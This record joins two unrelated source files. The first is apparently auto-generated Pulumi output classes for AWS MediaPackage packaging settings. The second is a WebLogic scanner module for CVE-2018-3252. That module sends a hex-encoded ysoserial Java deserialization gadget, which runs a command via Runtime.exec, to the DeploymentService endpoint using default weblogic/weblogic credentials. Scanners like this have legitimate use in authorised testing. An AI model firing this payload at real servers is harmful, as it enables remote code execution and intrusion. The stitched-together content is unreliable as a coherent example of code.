@pulumi.getter(name="includeEncoderConfigurationInSegments")
def include_encoder_configuration_in_segments(self) -> Optional[bool]:
"""
When includeEncoderConfigurationInSegments is set to true, MediaPackage places your encoder's Sequence Parameter Set (SPS), Picture Parameter Set (PPS), and Video Parameter Set (VPS) metadata in every video segment instead of in the init fragment. This lets you use different SPS/PPS/VPS settings for your assets during content playback.
"""
return pulumi.get(self, "include_encoder_configuration_in_segments")
@property
@pulumi.getter(name="periodTriggers")
def period_triggers(self) -> Optional[Sequence['PackagingConfigurationDashPackagePeriodTriggersItem']]:
"""
A list of triggers that controls when the outgoing Dynamic Adaptive Streaming over HTTP (DASH) Media Presentation Description (MPD) will be partitioned into multiple periods. If empty, the content will not be partitioned into more than one period. If the list contains "ADS", new periods will be created where the Asset contains SCTE-35 ad markers.
"""
return pulumi.get(self, "period_triggers")
@property
@pulumi.getter(name="segmentDurationSeconds")
def segment_duration_seconds(self) -> Optional[int]:
return pulumi.get(self, "segment_duration_seconds")
@property
@pulumi.getter(name="segmentTemplateFormat")
def segment_template_format(self) -> Optional['PackagingConfigurationDashPackageSegmentTemplateFormat']:
"""
Determines the type of SegmentTemplate included in the Media Presentation Description (MPD). When set to NUMBER_WITH_TIMELINE, a full timeline is presented in each SegmentTemplate, with $Number$ media URLs. When set to TIME_WITH_TIMELINE, a full timeline is presented in each SegmentTemplate, with $Time$ media URLs. When set to NUMBER_WITH_DURATION, only a duration is included in each SegmentTemplate, with $Number$ media URLs.
"""
return pulumi.get(self, "segment_template_format")
@pulumi.output_type
class PackagingConfigurationHlsEncryption(dict):
"""
An HTTP Live Streaming (HLS) encryption configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "spekeKeyProvider":
suggest = "speke_key_provider"
elif key == "constantInitializationVector":
suggest = "constant_initialization_vector"
elif key == "encryptionMethod":
suggest = "encryption_method"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationHlsEncryption. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationHlsEncryption.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationHlsEncryption.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
speke_key_provider: 'outputs.PackagingConfigurationSpekeKeyProvider',
constant_initialization_vector: Optional[str] = None,
encryption_method: Optional['PackagingConfigurationHlsEncryptionEncryptionMethod'] = None):
"""
An HTTP Live Streaming (HLS) encryption configuration.
:param str constant_initialization_vector: An HTTP Live Streaming (HLS) encryption configuration.
:param 'PackagingConfigurationHlsEncryptionEncryptionMethod' encryption_method: The encryption method to use.
"""
pulumi.set(__self__, "speke_key_provider", speke_key_provider)
if constant_initialization_vector is not None:
pulumi.set(__self__, "constant_initialization_vector", constant_initialization_vector)
if encryption_method is not None:
pulumi.set(__self__, "encryption_method", encryption_method)
@property
@pulumi.getter(name="spekeKeyProvider")
def speke_key_provider(self) -> 'outputs.PackagingConfigurationSpekeKeyProvider':
return pulumi.get(self, "speke_key_provider")
@property
@pulumi.getter(name="constantInitializationVector")
def constant_initialization_vector(self) -> Optional[str]:
"""
An HTTP Live Streaming (HLS) encryption configuration.
"""
return pulumi.get(self, "constant_initialization_vector")
@property
@pulumi.getter(name="encryptionMethod")
def encryption_method(self) -> Optional['PackagingConfigurationHlsEncryptionEncryptionMethod']:
"""
The encryption method to use.
"""
return pulumi.get(self, "encryption_method")
@pulumi.output_type
class PackagingConfigurationHlsManifest(dict):
"""
An HTTP Live Streaming (HLS) manifest configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "adMarkers":
suggest = "ad_markers"
elif key == "includeIframeOnlyStream":
suggest = "include_iframe_only_stream"
elif key == "manifestName":
suggest = "manifest_name"
elif key == "programDateTimeIntervalSeconds":
suggest = "program_date_time_interval_seconds"
elif key == "repeatExtXKey":
suggest = "repeat_ext_x_key"
elif key == "streamSelection":
suggest = "stream_selection"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationHlsManifest. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationHlsManifest.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationHlsManifest.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
ad_markers: Optional['PackagingConfigurationHlsManifestAdMarkers'] = None,
include_iframe_only_stream: Optional[bool] = None,
manifest_name: Optional[str] = None,
program_date_time_interval_seconds: Optional[int] = None,
repeat_ext_x_key: Optional[bool] = None,
stream_selection: Optional['outputs.PackagingConfigurationStreamSelection'] = None):
"""
An HTTP Live Streaming (HLS) manifest configuration.
:param 'PackagingConfigurationHlsManifestAdMarkers' ad_markers: This setting controls how ad markers are included in the packaged OriginEndpoint. "NONE" will omit all SCTE-35 ad markers from the output. "PASSTHROUGH" causes the manifest to contain a copy of the SCTE-35 ad markers (comments) taken directly from the input HTTP Live Streaming (HLS) manifest. "SCTE35_ENHANCED" generates ad markers and blackout tags based on SCTE-35 messages in the input source.
:param bool include_iframe_only_stream: When enabled, an I-Frame only stream will be included in the output.
:param int program_date_time_interval_seconds: The interval (in seconds) between each EXT-X-PROGRAM-DATE-TIME tag inserted into manifests. Additionally, when an interval is specified ID3Timed Metadata messages will be generated every 5 seconds using the ingest time of the content. If the interval is not specified, or set to 0, then no EXT-X-PROGRAM-DATE-TIME tags will be inserted into manifests and no ID3Timed Metadata messages will be generated. Note that irrespective of this parameter, if any ID3 Timed Metadata is found in HTTP Live Streaming (HLS) input, it will be passed through to HLS output.
:param bool repeat_ext_x_key: When enabled, the EXT-X-KEY tag will be repeated in output manifests.
"""
if ad_markers is not None:
pulumi.set(__self__, "ad_markers", ad_markers)
if include_iframe_only_stream is not None:
pulumi.set(__self__, "include_iframe_only_stream", include_iframe_only_stream)
if manifest_name is not None:
pulumi.set(__self__, "manifest_name", manifest_name)
if program_date_time_interval_seconds is not None:
pulumi.set(__self__, "program_date_time_interval_seconds", program_date_time_interval_seconds)
if repeat_ext_x_key is not None:
pulumi.set(__self__, "repeat_ext_x_key", repeat_ext_x_key)
if stream_selection is not None:
pulumi.set(__self__, "stream_selection", stream_selection)
@property
@pulumi.getter(name="adMarkers")
def ad_markers(self) -> Optional['PackagingConfigurationHlsManifestAdMarkers']:
"""
This setting controls how ad markers are included in the packaged OriginEndpoint. "NONE" will omit all SCTE-35 ad markers from the output. "PASSTHROUGH" causes the manifest to contain a copy of the SCTE-35 ad markers (comments) taken directly from the input HTTP Live Streaming (HLS) manifest. "SCTE35_ENHANCED" generates ad markers and blackout tags based on SCTE-35 messages in the input source.
"""
return pulumi.get(self, "ad_markers")
@property
@pulumi.getter(name="includeIframeOnlyStream")
def include_iframe_only_stream(self) -> Optional[bool]:
"""
When enabled, an I-Frame only stream will be included in the output.
"""
return pulumi.get(self, "include_iframe_only_stream")
@property
@pulumi.getter(name="manifestName")
def manifest_name(self) -> Optional[str]:
return pulumi.get(self, "manifest_name")
@property
@pulumi.getter(name="programDateTimeIntervalSeconds")
def program_date_time_interval_seconds(self) -> Optional[int]:
"""
The interval (in seconds) between each EXT-X-PROGRAM-DATE-TIME tag inserted into manifests. Additionally, when an interval is specified ID3Timed Metadata messages will be generated every 5 seconds using the ingest time of the content. If the interval is not specified, or set to 0, then no EXT-X-PROGRAM-DATE-TIME tags will be inserted into manifests and no ID3Timed Metadata messages will be generated. Note that irrespective of this parameter, if any ID3 Timed Metadata is found in HTTP Live Streaming (HLS) input, it will be passed through to HLS output.
"""
return pulumi.get(self, "program_date_time_interval_seconds")
@property
@pulumi.getter(name="repeatExtXKey")
def repeat_ext_x_key(self) -> Optional[bool]:
"""
When enabled, the EXT-X-KEY tag will be repeated in output manifests.
"""
return pulumi.get(self, "repeat_ext_x_key")
@property
@pulumi.getter(name="streamSelection")
def stream_selection(self) -> Optional['outputs.PackagingConfigurationStreamSelection']:
return pulumi.get(self, "stream_selection")
@pulumi.output_type
class PackagingConfigurationHlsPackage(dict):
"""
An HTTP Live Streaming (HLS) packaging configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "hlsManifests":
suggest = "hls_manifests"
elif key == "segmentDurationSeconds":
suggest = "segment_duration_seconds"
elif key == "useAudioRenditionGroup":
suggest = "use_audio_rendition_group"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationHlsPackage. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationHlsPackage.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationHlsPackage.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
hls_manifests: Sequence['outputs.PackagingConfigurationHlsManifest'],
encryption: Optional['outputs.PackagingConfigurationHlsEncryption'] = None,
segment_duration_seconds: Optional[int] = None,
use_audio_rendition_group: Optional[bool] = None):
"""
An HTTP Live Streaming (HLS) packaging configuration.
:param Sequence['PackagingConfigurationHlsManifest'] hls_manifests: A list of HLS manifest configurations.
:param bool use_audio_rendition_group: When enabled, audio streams will be placed in rendition groups in the output.
"""
pulumi.set(__self__, "hls_manifests", hls_manifests)
if encryption is not None:
pulumi.set(__self__, "encryption", encryption)
if segment_duration_seconds is not None:
pulumi.set(__self__, "segment_duration_seconds", segment_duration_seconds)
if use_audio_rendition_group is not None:
pulumi.set(__self__, "use_audio_rendition_group", use_audio_rendition_group)
@property
@pulumi.getter(name="hlsManifests")
def hls_manifests(self) -> Sequence['outputs.PackagingConfigurationHlsManifest']:
"""
A list of HLS manifest configurations.
"""
return pulumi.get(self, "hls_manifests")
@property
@pulumi.getter
def encryption(self) -> Optional['outputs.PackagingConfigurationHlsEncryption']:
return pulumi.get(self, "encryption")
@property
@pulumi.getter(name="segmentDurationSeconds")
def segment_duration_seconds(self) -> Optional[int]:
return pulumi.get(self, "segment_duration_seconds")
@property
@pulumi.getter(name="useAudioRenditionGroup")
def use_audio_rendition_group(self) -> Optional[bool]:
"""
When enabled, audio streams will be placed in rendition groups in the output.
"""
return pulumi.get(self, "use_audio_rendition_group")
@pulumi.output_type
class PackagingConfigurationMssEncryption(dict):
"""
A CMAF encryption configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "spekeKeyProvider":
suggest = "speke_key_provider"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationMssEncryption. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationMssEncryption.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationMssEncryption.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
speke_key_provider: 'outputs.PackagingConfigurationSpekeKeyProvider'):
"""
A CMAF encryption configuration.
"""
pulumi.set(__self__, "speke_key_provider", speke_key_provider)
@property
@pulumi.getter(name="spekeKeyProvider")
def speke_key_provider(self) -> 'outputs.PackagingConfigurationSpekeKeyProvider':
return pulumi.get(self, "speke_key_provider")
@pulumi.output_type
class PackagingConfigurationMssManifest(dict):
"""
A Microsoft Smooth Streaming (MSS) manifest configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "manifestName":
suggest = "manifest_name"
elif key == "streamSelection":
suggest = "stream_selection"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationMssManifest. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationMssManifest.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationMssManifest.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
manifest_name: Optional[str] = None,
stream_selection: Optional['outputs.PackagingConfigurationStreamSelection'] = None):
"""
A Microsoft Smooth Streaming (MSS) manifest configuration.
"""
if manifest_name is not None:
pulumi.set(__self__, "manifest_name", manifest_name)
if stream_selection is not None:
pulumi.set(__self__, "stream_selection", stream_selection)
@property
@pulumi.getter(name="manifestName")
def manifest_name(self) -> Optional[str]:
return pulumi.get(self, "manifest_name")
@property
@pulumi.getter(name="streamSelection")
def stream_selection(self) -> Optional['outputs.PackagingConfigurationStreamSelection']:
return pulumi.get(self, "stream_selection")
@pulumi.output_type
class PackagingConfigurationMssPackage(dict):
"""
A Microsoft Smooth Streaming (MSS) PackagingConfiguration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "mssManifests":
suggest = "mss_manifests"
elif key == "segmentDurationSeconds":
suggest = "segment_duration_seconds"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationMssPackage. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationMssPackage.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationMssPackage.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
mss_manifests: Sequence['outputs.PackagingConfigurationMssManifest'],
encryption: Optional['outputs.PackagingConfigurationMssEncryption'] = None,
segment_duration_seconds: Optional[int] = None):
"""
A Microsoft Smooth Streaming (MSS) PackagingConfiguration.
:param Sequence['PackagingConfigurationMssManifest'] mss_manifests: A list of MSS manifest configurations.
"""
pulumi.set(__self__, "mss_manifests", mss_manifests)
if encryption is not None:
pulumi.set(__self__, "encryption", encryption)
if segment_duration_seconds is not None:
pulumi.set(__self__, "segment_duration_seconds", segment_duration_seconds)
@property
@pulumi.getter(name="mssManifests")
def mss_manifests(self) -> Sequence['outputs.PackagingConfigurationMssManifest']:
"""
A list of MSS manifest configurations.
"""
return pulumi.get(self, "mss_manifests")
@property
@pulumi.getter
def encryption(self) -> Optional['outputs.PackagingConfigurationMssEncryption']:
return pulumi.get(self, "encryption")
@property
@pulumi.getter(name="segmentDurationSeconds")
def segment_duration_seconds(self) -> Optional[int]:
return pulumi.get(self, "segment_duration_seconds")
@pulumi.output_type
class PackagingConfigurationSpekeKeyProvider(dict):
"""
A configuration for accessing an external Secure Packager and Encoder Key Exchange (SPEKE) service that will provide encryption keys.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "roleArn":
suggest = "role_arn"
elif key == "systemIds":
suggest = "system_ids"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationSpekeKeyProvider. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationSpekeKeyProvider.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationSpekeKeyProvider.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
role_arn: str,
system_ids: Sequence[str],
url: str):
"""
A configuration for accessing an external Secure Packager and Encoder Key Exchange (SPEKE) service that will provide encryption keys.
:param Sequence[str] system_ids: The system IDs to include in key requests.
:param str url: The URL of the external key provider service.
"""
pulumi.set(__self__, "role_arn", role_arn)
pulumi.set(__self__, "system_ids", system_ids)
pulumi.set(__self__, "url", url)
@property
@pulumi.getter(name="roleArn")
def role_arn(self) -> str:
return pulumi.get(self, "role_arn")
@property
@pulumi.getter(name="systemIds")
def system_ids(self) -> Sequence[str]:
"""
The system IDs to include in key requests.
"""
return pulumi.get(self, "system_ids")
@property
@pulumi.getter
def url(self) -> str:
"""
The URL of the external key provider service.
"""
return pulumi.get(self, "url")
@pulumi.output_type
class PackagingConfigurationStreamSelection(dict):
"""
A StreamSelection configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "maxVideoBitsPerSecond":
suggest = "max_video_bits_per_second"
elif key == "minVideoBitsPerSecond":
suggest = "min_video_bits_per_second"
elif key == "streamOrder":
suggest = "stream_order"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationStreamSelection. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationStreamSelection.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationStreamSelection.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
max_video_bits_per_second: Optional[int] = None,
min_video_bits_per_second: Optional[int] = None,
stream_order: Optional['PackagingConfigurationStreamSelectionStreamOrder'] = None):
"""
A StreamSelection configuration.
:param int max_video_bits_per_second: The maximum video bitrate (bps) to include in output.
:param int min_video_bits_per_second: The minimum video bitrate (bps) to include in output.
:param 'PackagingConfigurationStreamSelectionStreamOrder' stream_order: A directive that determines the order of streams in the output.
"""
if max_video_bits_per_second is not None:
pulumi.set(__self__, "max_video_bits_per_second", max_video_bits_per_second)
if min_video_bits_per_second is not None:
pulumi.set(__self__, "min_video_bits_per_second", min_video_bits_per_second)
if stream_order is not None:
pulumi.set(__self__, "stream_order", stream_order)
@property
@pulumi.getter(name="maxVideoBitsPerSecond")
def max_video_bits_per_second(self) -> Optional[int]:
"""
The maximum video bitrate (bps) to include in output.
"""
return pulumi.get(self, "max_video_bits_per_second")
@property
@pulumi.getter(name="minVideoBitsPerSecond")
def min_video_bits_per_second(self) -> Optional[int]:
"""
The minimum video bitrate (bps) to include in output.
"""
return pulumi.get(self, "min_video_bits_per_second")
@property
@pulumi.getter(name="streamOrder")
def stream_order(self) -> Optional['PackagingConfigurationStreamSelectionStreamOrder']:
"""
A directive that determines the order of streams in the output.
"""
return pulumi.get(self, "stream_order")
@pulumi.output_type
class PackagingConfigurationTag(dict):
def __init__(__self__, *,
key: str,
value: str):
pulumi.set(__self__, "key", key)
pulumi.set(__self__, "value", value)
@property
@pulumi.getter
def key(self) -> str:
return pulumi.get(self, "key")
@property
@pulumi.getter
def value(self) -> str:
return pulumi.get(self, "value")
@pulumi.output_type
class PackagingGroupAuthorization(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "cdnIdentifierSecret":
suggest = "cdn_identifier_secret"
elif key == "secretsRoleArn":
suggest = "secrets_role_arn"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingGroupAuthorization. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingGroupAuthorization.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingGroupAuthorization.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
cdn_identifier_secret: str,
secrets_role_arn: str):
"""
:param str cdn_identifier_secret: The Amazon Resource Name (ARN) for the secret in AWS Secrets Manager that is used for CDN authorization.
:param str secrets_role_arn: The Amazon Resource Name (ARN) for the IAM role that allows MediaPackage to communicate with AWS Secrets Manager.
"""
pulumi.set(__self__, "cdn_identifier_secret", cdn_identifier_secret)
pulumi.set(__self__, "secrets_role_arn", secrets_role_arn)
@property
@pulumi.getter(name="cdnIdentifierSecret")
def cdn_identifier_secret(self) -> str:
"""
The Amazon Resource Name (ARN) for the secret in AWS Secrets Manager that is used for CDN authorization.
"""
return pulumi.get(self, "cdn_identifier_secret")
@property
@pulumi.getter(name="secretsRoleArn")
def secrets_role_arn(self) -> str:
"""
The Amazon Resource Name (ARN) for the IAM role that allows MediaPackage to communicate with AWS Secrets Manager.
"""
return pulumi.get(self, "secrets_role_arn")
@pulumi.output_type
class PackagingGroupLogConfiguration(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "logGroupName":
suggest = "log_group_name"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingGroupLogConfiguration. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingGroupLogConfiguration.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingGroupLogConfiguration.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
log_group_name: Optional[str] = None):
"""
:param str log_group_name: Sets a custom AWS CloudWatch log group name for egress logs. If a log group name isn't specified, the default name is used: /aws/MediaPackage/VodEgressAccessLogs.
"""
if log_group_name is not None:
pulumi.set(__self__, "log_group_name", log_group_name)
@property
@pulumi.getter(name="logGroupName")
def log_group_name(self) -> Optional[str]:
"""
Sets a custom AWS CloudWatch log group name for egress logs. If a log group name isn't specified, the default name is used: /aws/MediaPackage/VodEgressAccessLogs.
"""
return pulumi.get(self, "log_group_name")
@pulumi.output_type
class PackagingGroupTag(dict):
def __init__(__self__, *,
key: str,
value: str):
pulumi.set(__self__, "key", key)
pulumi.set(__self__, "value", value)
@property
@pulumi.getter
def key(self) -> str:
return pulumi.get(self, "key")
@property
@pulumi.getter
def value(self) -> str:
return pulumi.get(self, "value")
| 46.506689 | 665 | 0.687588 | 12,382 | 111,244 | 5.94597 | 0.04135 | 0.015118 | 0.022778 | 0.033291 | 0.873341 | 0.865911 | 0.857884 | 0.816375 | 0.791057 | 0.774785 | 0 | 0.001547 | 0.22705 | 111,244 | 2,391 | 666 | 46.52614 | 0.854674 | 0.290218 | 0 | 0.816129 | 1 | 0.019355 | 0.247028 | 0.153597 | 0 | 0 | 0 | 0 | 0 | 1 | 0.164516 | false | 0.003226 | 0.004516 | 0.028387 | 0.314194 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
44880a7445ead40e7b84a66d5d463412b5195288 | 8,048 | py | Python | _pentesting/weblogicScanner/stars/cve_2018_3252.py | Shimenrock/Shimenrock.github.io | 933a5a670274c8ba853a436bff8fb120c19bc822 | [
"MIT"
] | null | null | null | _pentesting/weblogicScanner/stars/cve_2018_3252.py | Shimenrock/Shimenrock.github.io | 933a5a670274c8ba853a436bff8fb120c19bc822 | [
"MIT"
] | 2 | 2020-02-20T22:47:31.000Z | 2022-03-26T02:19:56.000Z | _pentesting/weblogicScanner/stars/cve_2018_3252.py | Shimenrock/shimenrock.github.io | 933a5a670274c8ba853a436bff8fb120c19bc822 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# _*_ coding:utf-8 _*_
# CVE-2018-3252
# 必须要用户名密码正确才可以验证
# updated 2019/12/05
# by 0xn0ne
from stars import universe, Star, target_type
from utils import http
@universe.groups()
class CVE_2018_3252(Star):
info = {
'NAME': '',
'CVE': 'CVE-2018-3252',
'TAG': []
}
type = target_type.MODULE
def light_up(self, dip, dport, *args, **kwargs) -> (bool, dict):
url = 'http://{}:{}/bea_wls_deployment_internal/DeploymentService'.format(dip, dport)
headers = {'Host': '127.0.0.1:7001', 'wl_request_type': 'data_transfer_request', 'Username': 'weblogic',
'Password': 'weblogic'}
data = bytes.fromhex('737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E02000077020000787200116A6176612E7574696C2E48617368536574BA44859596B8B734030000770200007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000949000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C00195F61636365737345787465726E616C5374796C6573686565747400124C6A6176612F6C616E672F537472696E673B4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B77020000787000000000FFFFFFFF00740003616C6C70757200035B5B424BFD19156767DB3702000077020000787000000002757200025B42ACF317F8060854E00200007702000078700000083CCAFEBABE0000003300570A0003002207005507002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E01000463616C6308003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B00340100136A6176612F6C616E672F457863657074696F6E0700360100106A6176612F6C616E672F53797374656D0700380100036F75740100154C6A6176612F696F2F5072696E7453747265616D3B0C003A003B090039003C01000F636D645F657869745F636F64653D3008003E010010636D645F657869745F636F64653D2D310800400100136A6176612F696F2F5072696E7453747265616D0700420100077072696E746C6E010015284C6A6176612F6C616E672F537472696E673B29560C004400450A004300460C003A003B090039004808003E0800400C004400450A0043004C0100116A6176612F6C616E672F50726F6365737307004E0100136A6176612F6C616E672F5468726F7761626C650700500100106A6176612F6C616E672F537472696E6707005201000D537461636B4D61705461626C6501001E79736F73657269616C2F50776E65723232373231323639323131323933390A00030022002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70056B100000002000D00000006000100000083000E0000000C000100000005000F001200000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000008B000E00000020000300000001000F0012000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D0000000600010000008F000E0000002A000400000001000F001200000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C000000BD000500040000003FA70003014C014DB8002F1231B600354DA7001C4EA700184EB2003D2C01A50008123FA700051241B600472DBFB200492C01A50008124AA70005124BB6004DB1000200070010001300370007001700170000000100540000005C000803FF000F0003000007004F000107003743070051FF000D00040000000700510001070043FF000100040000000700510002070043070053FF00040003000007004F0000FF000C00000001070043FF0001000000020700430700530002002000000002002100110000000A000100020023001000097571007E000D000001D4CAFEBABE00000033001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000007D000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078737D00000001001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657377020000787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B7702000078707372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B770200007870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C647702000078703F4000000000000C77080000001000000001740008663561356136303871007E0009787672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573000000000000000000000077020000787078')
res, data = http(url, 'POST', headers=headers, data=data)
if res != None and ((res.status_code == 401) or (res.status_code == 500)):
return True, {'msg': 'finish.'}
return False, {'msg': 'finish.'}
